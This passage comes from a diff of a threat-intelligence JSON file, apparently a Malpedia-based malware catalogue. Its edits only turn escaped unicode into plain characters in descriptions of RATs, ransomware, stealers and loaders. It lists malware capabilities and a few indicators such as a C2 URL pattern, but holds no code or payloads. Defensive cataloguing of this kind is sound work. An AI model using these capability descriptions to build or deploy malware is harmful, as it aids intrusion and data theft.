actions:\r\n\r\n- Managing files\r\n- Listing processes\r\n- Connecting to various database management systems such as MySQL or SQLite\r\n- Connecting via bind/reverse shell\r\n- Executing shell command\r\n- Capturing and browsing images and videos from the victim’s webcam\r\n- Sending emails with an attachment", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.eleanor", @@ -9536,7 +9536,7 @@ "value": "Gmera" }, { - "description": "According to Malwarebytes, The HiddenLotus \"dropper\" is an application named L\u00ea Thu H\u00e0 (HAEDC).pdf, using an old trick of disguising itself as a document - in this case, an Adobe Acrobat file.", + "description": "According to Malwarebytes, The HiddenLotus \"dropper\" is an application named Lê Thu Hà (HAEDC).pdf, using an old trick of disguising itself as a document - in this case, an Adobe Acrobat file.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.hiddenlotus", @@ -9976,7 +9976,7 @@ "value": "Patcher" }, { - "description": "Backdoor as a fork of OpenSSH_6.0 with no logging, and \u201c-P\u201d and \u201c-z\u201d hidden command arguments. \u201cPuffySSH_5.8p1\u201d string.", + "description": "Backdoor as a fork of OpenSSH_6.0 with no logging, and “-P” and “-z” hidden command arguments. “PuffySSH_5.8p1” string.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.pintsized", @@ -10113,7 +10113,7 @@ "value": "Shlayer" }, { - "description": "According to Red Canary, Silver Sparrow is an activity cluster that includes a binary compiled to run on Apple\u2019s new M1 chips but has been distributed without payload so far.", + "description": "According to Red Canary, Silver Sparrow is an activity cluster that includes a binary compiled to run on Apple’s new M1 chips but has been distributed without payload so far.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.silver_sparrow", @@ -11080,7 +11080,7 @@ "value": "PowerWare" }, { - "description": "PowerZure is a PowerShell project created to assess and exploit resources within Microsoft\u2019s cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.", + "description": "PowerZure is a PowerShell project created to assess and exploit resources within Microsoft’s cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerzure", @@ -12332,7 +12332,7 @@ "value": "3CX Backdoor (Windows)" }, { - "description": "Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victim\u2019s sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.", + "description": "Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victim’s sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger", @@ -12411,7 +12411,7 @@ "value": "7ev3n" }, { - "description": "The 8Base ransomware group has remained relatively unknown despite the massive spike in activity in Summer of 2023. The group utilizes encryption paired with \u201cname-and-shame\u201d techniques to compel their victims to pay their ransoms. 8Base has an opportunistic pattern of compromise with recent victims spanning across varied industries. Despite the high amount of compromises, the information regarding identities, methodology, and underlying motivation behind these incidents still remains a mystery. Samples of their ransomware show they are using customized Phobos with SmokeLoader.", + "description": "The 8Base ransomware group has remained relatively unknown despite the massive spike in activity in Summer of 2023. The group utilizes encryption paired with “name-and-shame” techniques to compel their victims to pay their ransoms. 8Base has an opportunistic pattern of compromise with recent victims spanning across varied industries. Despite the high amount of compromises, the information regarding identities, methodology, and underlying motivation behind these incidents still remains a mystery. Samples of their ransomware show they are using customized Phobos with SmokeLoader.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.8base", @@ -12676,7 +12676,7 @@ "value": "Adamantium Thief" }, { - "description": "Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim\u2019s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.", + "description": "Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim’s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.adam_locker", @@ -13042,7 +13042,7 @@ "value": "Albaniiutas" }, { - "description": "According to Trend Micro Encyclopia:\r\nALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.\r\n\r\nThis malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.\r\n\r\nThis bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.\r\n\r\nThis malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine\u2019s hardware identification (HWID), host name, local IP address, and OS version.\r\n\r\nThis backdoor executes commands from a remote malicious user, effectively compromising the affected system.", + "description": "According to Trend Micro Encyclopia:\r\nALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.\r\n\r\nThis malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.\r\n\r\nThis bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.\r\n\r\nThis malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine’s hardware identification (HWID), host name, local IP address, and OS version.\r\n\r\nThis backdoor executes commands from a remote malicious user, effectively compromising the affected system.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aldibot", @@ -13229,7 +13229,7 @@ "value": "ALPC Local PrivEsc" }, { - "description": "The Alphabet ransomware is a new screenlocker that is currently being developed by a criminal developer. As the malware is not ready it does not affect any user files.\r\n\r\nThe virus includes a screenlocking function which locks the user\u2019s screen and prohibits any interaction with the computer.", + "description": "The Alphabet ransomware is a new screenlocker that is currently being developed by a criminal developer. As the malware is not ready it does not affect any user files.\r\n\r\nThe virus includes a screenlocking function which locks the user’s screen and prohibits any interaction with the computer.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alphabet_ransomware", @@ -13282,7 +13282,7 @@ "value": "AlphaSeed" }, { - "description": "Alreay is a remote access trojan that uses HTTP(S) or TCP for communication with its C&C server.\r\n\r\nIt uses either RC4 or DES for encryption of its configuration, which is stored in the registry.\r\n\r\nIt sends detailed information about the victim's environment, like computer name, Windows version, \r\nsystem locale, and network configuration.\r\n\r\nIt supports almost 25 commands that include operations on the victim\u2019s filesystem, basic process management, file exfiltration, command line execution, and process injection of an executable downloaded from the attacker\u2019s C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers, starting with values like 0x21A8B293, 0x23FAE29C or 0x91B93485.\r\n\r\nIt comes either as an EXE or as a DLL with the internal DLL name t_client_dll.dll. It may contain statically linked code from open-source libraries like Mbed TLS or zLib (version 1.0.1).\r\n\r\nAlreay RAT was observed in 2016-2017, running on networks of banks operating SWIFT Alliance software.", + "description": "Alreay is a remote access trojan that uses HTTP(S) or TCP for communication with its C&C server.\r\n\r\nIt uses either RC4 or DES for encryption of its configuration, which is stored in the registry.\r\n\r\nIt sends detailed information about the victim's environment, like computer name, Windows version, \r\nsystem locale, and network configuration.\r\n\r\nIt supports almost 25 commands that include operations on the victim’s filesystem, basic process management, file exfiltration, command line execution, and process injection of an executable downloaded from the attacker’s C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers, starting with values like 0x21A8B293, 0x23FAE29C or 0x91B93485.\r\n\r\nIt comes either as an EXE or as a DLL with the internal DLL name t_client_dll.dll. It may contain statically linked code from open-source libraries like Mbed TLS or zLib (version 1.0.1).\r\n\r\nAlreay RAT was observed in 2016-2017, running on networks of banks operating SWIFT Alliance software.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay", @@ -13520,7 +13520,7 @@ "value": "Andromeda" }, { - "description": "According to Proofpoint, AndroMut is a new downloader malware written in C++ that Proofpoint researchers began observing in the wild in June 2019. The \u201cAndro\u201d part of the name comes from some of the pieces which bear resemblance to another downloader malware known as Andromeda [1] and \u201cMut\u201d is based off a mutex that the analyzed sample creates: \u201cmutshellmy777\u201d.", + "description": "According to Proofpoint, AndroMut is a new downloader malware written in C++ that Proofpoint researchers began observing in the wild in June 2019. The “Andro” part of the name comes from some of the pieces which bear resemblance to another downloader malware known as Andromeda [1] and “Mut” is based off a mutex that the analyzed sample creates: “mutshellmy777”.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromut", @@ -13804,7 +13804,7 @@ "value": "Ares (Windows)" }, { - "description": "AresLoader is a new malware \"downloader\" that has been advertised on some Russian language Dark Web forums \u201cRAMP and \"XSS\" by a threat actor called \"DarkBLUP\". Researchers assess this loader is likely a legitimate penetration testing tool that is now being abused by threat actors. This is because of a similar project, dubbed \u201cProject Ares,\u201d was previously uploaded to GitHub as a proof-of-concept (PoC) by the well-regarded user and red teamer \u201cCerberSec.\u201d\r\n\r\nThe loader mimics legitimate software to trick victims into executing malware with administrator rights on their machines. Additional features of the loader include:\r\n\r\n1. Written in C/C++\r\n2. Supports 64-bit payloads\r\n3. Makes it look like malware spawned by another process\r\n4. Prevents non-Microsoft signed binaries from being injected into malware\r\n5. Hides suspicious imported Windows APIs\r\n6. Leverages anti-analysis techniques to avoid reverse engineering\r\n\r\nFurthermore, It was observed that SystemBC, Amadey, and several Raccoon Stealers were directly installing AresLoader. To date, the AresLoader downloader has been seen delivering payloads like SystemBC, Lumma Stealer, StealC, Aurora Stealer, and Laplas Clipper.", + "description": "AresLoader is a new malware \"downloader\" that has been advertised on some Russian language Dark Web forums “RAMP and \"XSS\" by a threat actor called \"DarkBLUP\". Researchers assess this loader is likely a legitimate penetration testing tool that is now being abused by threat actors. This is because of a similar project, dubbed “Project Ares,” was previously uploaded to GitHub as a proof-of-concept (PoC) by the well-regarded user and red teamer “CerberSec.”\r\n\r\nThe loader mimics legitimate software to trick victims into executing malware with administrator rights on their machines. Additional features of the loader include:\r\n\r\n1. Written in C/C++\r\n2. Supports 64-bit payloads\r\n3. Makes it look like malware spawned by another process\r\n4. Prevents non-Microsoft signed binaries from being injected into malware\r\n5. Hides suspicious imported Windows APIs\r\n6. Leverages anti-analysis techniques to avoid reverse engineering\r\n\r\nFurthermore, It was observed that SystemBC, Amadey, and several Raccoon Stealers were directly installing AresLoader. To date, the AresLoader downloader has been seen delivering payloads like SystemBC, Lumma Stealer, StealC, Aurora Stealer, and Laplas Clipper.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aresloader", @@ -13920,7 +13920,7 @@ "value": "Arkei Stealer" }, { - "description": "It is available as a service, purchasable by anyone to use in their own campaigns. It\u2019s features are generally fairly typical of a RAT, with its most notable aspect being the hVNC module which basically gives an attacker full remote access with minimal need for technical knowledge to use it.", + "description": "It is available as a service, purchasable by anyone to use in their own campaigns. It’s features are generally fairly typical of a RAT, with its most notable aspect being the hVNC module which basically gives an attacker full remote access with minimal need for technical knowledge to use it.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.arrowrat", @@ -14108,7 +14108,7 @@ "value": "AstraLocker" }, { - "description": "AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim\u2019s computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.", + "description": "AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim’s computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat", @@ -14312,7 +14312,7 @@ "value": "ATOMSILO" }, { - "description": "Attor is a cyberespionage platform used in targeted attacks against diplomatic missions and governmental institutions since at least 2013. Its most interesting features are a complex modular architecture, elaborate network communications, and a unique plugin to fingerprint GSM/GPRS devices.\r\n\r\nAttor\u2019s core lies in its dispatcher, which serves as a management unit for additional plugins which provide all of malware\u2019s key capabilities. This allows the attackers to customize the platform on a per-victim basis. Plugins themselves are heavily synchronized. Network communication is based on Tor, aiming for anonymity and untraceability. \r\n\r\nThe most notable plugin can detect connected GSM/GPRS modems or mobile devices. Attor speaks to them directly using the AT command set, in order to collect sensitive information such as the IMEI, IMSI or MSISDN numbers, possibly identifying both the device and its subscriber. Other plugins provide persistence, an exfiltration channel, C&C communication and several further spying capabilities. The plugin responsible for capturing victim's screen targets social networks and blogging platforms, email services, office software, archiving utilities, file sharing and messaging services.", + "description": "Attor is a cyberespionage platform used in targeted attacks against diplomatic missions and governmental institutions since at least 2013. Its most interesting features are a complex modular architecture, elaborate network communications, and a unique plugin to fingerprint GSM/GPRS devices.\r\n\r\nAttor’s core lies in its dispatcher, which serves as a management unit for additional plugins which provide all of malware’s key capabilities. This allows the attackers to customize the platform on a per-victim basis. Plugins themselves are heavily synchronized. Network communication is based on Tor, aiming for anonymity and untraceability. \r\n\r\nThe most notable plugin can detect connected GSM/GPRS modems or mobile devices. Attor speaks to them directly using the AT command set, in order to collect sensitive information such as the IMEI, IMSI or MSISDN numbers, possibly identifying both the device and its subscriber. Other plugins provide persistence, an exfiltration channel, C&C communication and several further spying capabilities. The plugin responsible for capturing victim's screen targets social networks and blogging platforms, email services, office software, archiving utilities, file sharing and messaging services.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.attor", @@ -14776,7 +14776,7 @@ "value": "Azov Wiper" }, { - "description": "According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers\u2019 analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus engines.", + "description": "According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers’ analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus engines.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda", @@ -15343,7 +15343,7 @@ "value": "Bankshot" }, { - "description": "BanPolMex is a remote access trojan that uses TCP for communication.\r\n\r\nIt uses an RC4-like stream cipher called Spritz for encryption of its configuration and network traffic.\r\n\r\nIt sends detailed information about the victim's environment, like computer name, Windows version, free space of memory and all drives, processor identifier and architecture, system locale, system metrics, manufacturer, and network configuration.\r\n\r\nIt supports almost 30 commands that include operations on the victim\u2019s filesystem, basic process management, file exfiltration, and the download and execution of additional tools from the attacker\u2019s C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. However, in this case the indicis are convertible into a meaningful ASCII representation, that even suggests the functionality: SLEP, HIBN, DRIV, DIR, DIRP, CHDR, RUN, RUNX, DEL, WIPE, MOVE, FTIM, NEWF, DOWN, ZDWN, UPLD, PVEW, PKIL, CMDL, DIE, GCFG, SCFG, TCON, PEEX, PEIN.\r\n\r\nIt has aclui.dll as the internal DLL name. It contains statically linked code from open-source libraries like libcurl (version 7.47.1) or zLib (version 0.15).\r\n\r\nBanPolMex RAT was delivered for victims of a watering hole campaign targeting employees of Polish and Mexican banks, that was discovered in February 2017. It is usually loaded by HOTWAX.", + "description": "BanPolMex is a remote access trojan that uses TCP for communication.\r\n\r\nIt uses an RC4-like stream cipher called Spritz for encryption of its configuration and network traffic.\r\n\r\nIt sends detailed information about the victim's environment, like computer name, Windows version, free space of memory and all drives, processor identifier and architecture, system locale, system metrics, manufacturer, and network configuration.\r\n\r\nIt supports almost 30 commands that include operations on the victim’s filesystem, basic process management, file exfiltration, and the download and execution of additional tools from the attacker’s C&C server. As in many RATs from Lazarus arsenal, the commands are indexed by 32-bit integers. However, in this case the indicis are convertible into a meaningful ASCII representation, that even suggests the functionality: SLEP, HIBN, DRIV, DIR, DIRP, CHDR, RUN, RUNX, DEL, WIPE, MOVE, FTIM, NEWF, DOWN, ZDWN, UPLD, PVEW, PKIL, CMDL, DIE, GCFG, SCFG, TCON, PEEX, PEIN.\r\n\r\nIt has aclui.dll as the internal DLL name. It contains statically linked code from open-source libraries like libcurl (version 7.47.1) or zLib (version 0.15).\r\n\r\nBanPolMex RAT was delivered for victims of a watering hole campaign targeting employees of Polish and Mexican banks, that was discovered in February 2017. It is usually loaded by HOTWAX.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.banpolmex", @@ -15802,7 +15802,7 @@ "value": "BestKorea" }, { - "description": "Cybereason concludes that Betabot is a sophisticated infostealer malware that\u2019s evolved significantly since it first appeared in late 2012. The malware began as a banking Trojan and is now packed with features that allow its operators to practically take over a victim\u2019s machine and steal sensitive information.", + "description": "Cybereason concludes that Betabot is a sophisticated infostealer malware that’s evolved significantly since it first appeared in late 2012. The malware began as a banking Trojan and is now packed with features that allow its operators to practically take over a victim’s machine and steal sensitive information.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot", @@ -15868,7 +15868,7 @@ "value": "BHunt" }, { - "description": "BianLian is a GoLang-based ransomware that continues to breach several industries and demand large ransom amounts. The threat actors also use the double extortion method by stealing an affected organization\u2019s files and leaking them online if the ransom is not paid on time. BianLian gains access to victim systems through valid Remote Desktop Protocol (RDP) credentials, uses open-source tools and command-line scripting for discovery and credential harvesting, and exfiltrates victim data via File Transfer Protocol (FTP), Rclone, or Mega. BianLian originally employed a double-extortion model in which they encrypted victims\u2019 systems after exfiltrating the data; however, around January 2023, they shifted to primarily exfiltration-based extortion. The BianLian ransomware uses goroutines and encrypts files in chunks to quickly hijack an infected system. The ransomware adds its own extension to each encrypted file. ", + "description": "BianLian is a GoLang-based ransomware that continues to breach several industries and demand large ransom amounts. The threat actors also use the double extortion method by stealing an affected organization’s files and leaking them online if the ransom is not paid on time. BianLian gains access to victim systems through valid Remote Desktop Protocol (RDP) credentials, uses open-source tools and command-line scripting for discovery and credential harvesting, and exfiltrates victim data via File Transfer Protocol (FTP), Rclone, or Mega. BianLian originally employed a double-extortion model in which they encrypted victims’ systems after exfiltrating the data; however, around January 2023, they shifted to primarily exfiltration-based extortion. The BianLian ransomware uses goroutines and encrypts files in chunks to quickly hijack an infected system. The ransomware adds its own extension to each encrypted file. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bianlian", @@ -16073,7 +16073,7 @@ "value": "Bitter RAT" }, { - "description": "According to Bitdefender, BitRAT is a notorious remote access trojan (RAT) marketed on underground cybercriminal web markets and forums. Its price tag of $20 for lifetime access makes it irresistible to cybercriminals and helps the malicious payload spread.\r\n\r\nFurthermore, each buyer\u2019s modus operandi makes BitRAT even harder to stop, considering it can be employed in various operations, such as trojanized software, phishing and watering hole attacks.\r\n\r\nBitRAT\u2019s popularity arises from its versatility. The malicious tool can perform a wide range of operations, including data exfiltration, UAC bypass, DDoS attacks, clipboard monitoring, gaining unauthorized webcam access, credential theft, audio recording, XMRig coin mining and generic keylogging.", + "description": "According to Bitdefender, BitRAT is a notorious remote access trojan (RAT) marketed on underground cybercriminal web markets and forums. Its price tag of $20 for lifetime access makes it irresistible to cybercriminals and helps the malicious payload spread.\r\n\r\nFurthermore, each buyer’s modus operandi makes BitRAT even harder to stop, considering it can be employed in various operations, such as trojanized software, phishing and watering hole attacks.\r\n\r\nBitRAT’s popularity arises from its versatility. The malicious tool can perform a wide range of operations, including data exfiltration, UAC bypass, DDoS attacks, clipboard monitoring, gaining unauthorized webcam access, credential theft, audio recording, XMRig coin mining and generic keylogging.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat", @@ -16318,7 +16318,7 @@ "value": "BLACKCOFFEE" }, { - "description": "BlackEnergy, its first version shortened as BE1, started as a crimeware being sold in the Russian cyber underground as early as 2007. Initially, it was designed as a toolkit for creating botnets for conducting DDoS attacks. It supported a variety of flooding commands including protocols like ICMP, TCP SYN, UDP, HTTP and DNS. Among the high profile targets of cyber attacks utilising BE1 were a Norwegian bank and government websites in Georgia three weeks before Russo-Georgian War.\r\n\r\nVersion 2 of BlackEnergy, BE2, came in 2008 with a complete code rewrite that introduced a protective layer, a kernel-mode rootkit and a modular architecture. Plugins included mostly DDoS attacks, a spam plugin and two banking authentication plugins to steal from Russian nad Ukrainian banks. The banking plugin was paired with a module designed to destroy the filesystem. Moreover, BE2 was able to\r\n- download and execute a remote file;\r\n- execute a local file on the infected computer;\r\n- update the bot and its plugins;\r\n\r\nThe Industrial Control Systems Cyber Emergency Response Team issued an alert warning that BE2 was leveraging the human-machine interfaces of industrial control systems like GE CIMPLICITY, Advantech/Broadwin WebAccess, and Siemens WinCC to gain access to critical infrastructure networks.\r\n\r\nIn 2014, the BlackEnergy toolkit, BE3, switched to a lighter footprint with no kernel-mode driver component. Its plugins included:\r\n- operations with victim's filesystem\r\n- spreading with a parasitic infector\r\n- spying features like keylogging, screenshoots or a robust password stealer\r\n- Team viewer and a simple pseudo \u201cremote desktop\u201d\r\n- listing Windows accounts and scanning network \r\n- destroying the system\r\n\r\nTypical for distribution of BE3 was heavy use of spear-phishing emails containing Microsoft Word or Excel documents with a malicious VBA macro, Rich Text Format (RTF) documents embedding exploits or a PowerPoint presentation with zero-day exploit CVE-2014-4114.\r\n\r\nOn 23 December 2015, attackers behind the BlackEnergy malware successfully caused power outages for several hours in different regions of Ukraine. This cyber sabotage against three energy companies has been confirmed by the Ukrainian government. The power grid compromise has become known as the first-of-its-kind cyber warfare attack affecting civilians.", + "description": "BlackEnergy, its first version shortened as BE1, started as a crimeware being sold in the Russian cyber underground as early as 2007. Initially, it was designed as a toolkit for creating botnets for conducting DDoS attacks. It supported a variety of flooding commands including protocols like ICMP, TCP SYN, UDP, HTTP and DNS. Among the high profile targets of cyber attacks utilising BE1 were a Norwegian bank and government websites in Georgia three weeks before Russo-Georgian War.\r\n\r\nVersion 2 of BlackEnergy, BE2, came in 2008 with a complete code rewrite that introduced a protective layer, a kernel-mode rootkit and a modular architecture. Plugins included mostly DDoS attacks, a spam plugin and two banking authentication plugins to steal from Russian nad Ukrainian banks. The banking plugin was paired with a module designed to destroy the filesystem. Moreover, BE2 was able to\r\n- download and execute a remote file;\r\n- execute a local file on the infected computer;\r\n- update the bot and its plugins;\r\n\r\nThe Industrial Control Systems Cyber Emergency Response Team issued an alert warning that BE2 was leveraging the human-machine interfaces of industrial control systems like GE CIMPLICITY, Advantech/Broadwin WebAccess, and Siemens WinCC to gain access to critical infrastructure networks.\r\n\r\nIn 2014, the BlackEnergy toolkit, BE3, switched to a lighter footprint with no kernel-mode driver component. Its plugins included:\r\n- operations with victim's filesystem\r\n- spreading with a parasitic infector\r\n- spying features like keylogging, screenshoots or a robust password stealer\r\n- Team viewer and a simple pseudo “remote desktop”\r\n- listing Windows accounts and scanning network \r\n- destroying the system\r\n\r\nTypical for distribution of BE3 was heavy use of spear-phishing emails containing Microsoft Word or Excel documents with a malicious VBA macro, Rich Text Format (RTF) documents embedding exploits or a PowerPoint presentation with zero-day exploit CVE-2014-4114.\r\n\r\nOn 23 December 2015, attackers behind the BlackEnergy malware successfully caused power outages for several hours in different regions of Ukraine. This cyber sabotage against three energy companies has been confirmed by the Ukrainian government. The power grid compromise has become known as the first-of-its-kind cyber warfare attack affecting civilians.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy", @@ -16697,7 +16697,7 @@ "value": "BleachGap" }, { - "description": "BLINDINGCAN is a remote access trojan that communicates with its C&C server via HTTP(S).\r\nIt uses a (custom) RC4 or AES for encryption and decryption of its configuration and network traffic. \r\nIt sends information about the victim's environment, like computer name, IP, Windows product name and processor name.\r\nIt supports around 30 commands that include operations on the victim\u2019s filesystem, basic process management, command line execution, file exfiltration, configuration update, and the download and execution of additional payloads from the attackers' C&C. The commands are indexed by 16-bit integers, starting with the index 0x2009 and going incrementally up to 0x2057, with some indicis being skipped. \r\nIt uses various parameter names in its HTTP POST requests, mostly associated with web servers running bulletin board systems, like bbs, article, boardid, s_board, page, idx_num, etc.\r\nIt contains specific RTTI symbols like \".?AVCHTTP_Protocol@@\", \".?AVCFileRW@@\" or \".?AVCSinSocket@@\".\r\nBLINDINGCAN RAT is a flagship payload deployed in many Lazarus attacks, especially in the Operation DreamJob campaigns happening in 2020-2022.", + "description": "BLINDINGCAN is a remote access trojan that communicates with its C&C server via HTTP(S).\r\nIt uses a (custom) RC4 or AES for encryption and decryption of its configuration and network traffic. \r\nIt sends information about the victim's environment, like computer name, IP, Windows product name and processor name.\r\nIt supports around 30 commands that include operations on the victim’s filesystem, basic process management, command line execution, file exfiltration, configuration update, and the download and execution of additional payloads from the attackers' C&C. The commands are indexed by 16-bit integers, starting with the index 0x2009 and going incrementally up to 0x2057, with some indicis being skipped. \r\nIt uses various parameter names in its HTTP POST requests, mostly associated with web servers running bulletin board systems, like bbs, article, boardid, s_board, page, idx_num, etc.\r\nIt contains specific RTTI symbols like \".?AVCHTTP_Protocol@@\", \".?AVCFileRW@@\" or \".?AVCSinSocket@@\".\r\nBLINDINGCAN RAT is a flagship payload deployed in many Lazarus attacks, especially in the Operation DreamJob campaigns happening in 2020-2022.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindingcan", @@ -16983,7 +16983,7 @@ "value": "Bolek" }, { - "description": "BookCodesRAT is a remote access trojan that uses HTTP(S) for communication. It supports around 25 commands that include operations on the victim\u2019s filesystem, basic process management and the download and execution of additional tools from the attacker\u2019s arsenal. They are indexed by 32-bit integers, starting with the value 0x97853646. \r\n\r\nBookCodesRAT uses mostly compromised South Korean web servers for the C&C traffic and is usually deployed against South Korean targets.", + "description": "BookCodesRAT is a remote access trojan that uses HTTP(S) for communication. It supports around 25 commands that include operations on the victim’s filesystem, basic process management and the download and execution of additional tools from the attacker’s arsenal. They are indexed by 32-bit integers, starting with the value 0x97853646. \r\n\r\nBookCodesRAT uses mostly compromised South Korean web servers for the C&C traffic and is usually deployed against South Korean targets.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bookcodesrat", @@ -17045,7 +17045,7 @@ "value": "BOOMBOX" }, { - "description": "FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate \u2018Dwrite.dll\u2019 provided by the Microsoft DirectX Typography Services. The application loads the \u2018gdi\u2019 library, which loads the \u2018gdiplus\u2019 library, which ultimately loads \u2018Dwrite\u2019. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.", + "description": "FireEye describes BOOSTWRITE as a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.boostwrite", @@ -17160,7 +17160,7 @@ "value": "BRAIN" }, { - "description": "Brambul is a worm that spreads by using a list of hard-coded login credentials to launch a brute-force password attack against an SMB protocol for access to a victim\u2019s networks.", + "description": "Brambul is a worm that spreads by using a list of hard-coded login credentials to launch a brute-force password attack against an SMB protocol for access to a victim’s networks.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul", @@ -17224,7 +17224,7 @@ "value": "BreachRAT" }, { - "description": "There is no reference available for this family and all known samples have version 1.0.0.\r\n\r\nPdb-strings in the samples suggest that this is an \"exclusive\" loader, known as \"breakthrough\" (maybe), e.g. C:\\Users\\Exclusiv\\Desktop\\\u0445\u043f-\u043f\u0440\u043e\u0431\u0438\u0432\\Release\\build.pdb\r\n\r\nThe communication url parameters are pretty unique in this combination:\r\ngate.php?hwid=&os=&build=1.0.0&cpu=8\r\n\r\n is one of:\r\nWindows95\r\nWindows98\r\nWindowsMe\r\nWindows95family\r\nWindowsNT3\r\nWindowsNT4\r\nWindows2000\r\nWindowsXP\r\nWindowsServer2003\r\nWindowsNTfamily\r\nWindowsVista\r\nWindows7\r\nWindows8\r\nWindows10\r\n", + "description": "There is no reference available for this family and all known samples have version 1.0.0.\r\n\r\nPdb-strings in the samples suggest that this is an \"exclusive\" loader, known as \"breakthrough\" (maybe), e.g. C:\\Users\\Exclusiv\\Desktop\\хп-пробив\\Release\\build.pdb\r\n\r\nThe communication url parameters are pretty unique in this combination:\r\ngate.php?hwid=&os=&build=1.0.0&cpu=8\r\n\r\n is one 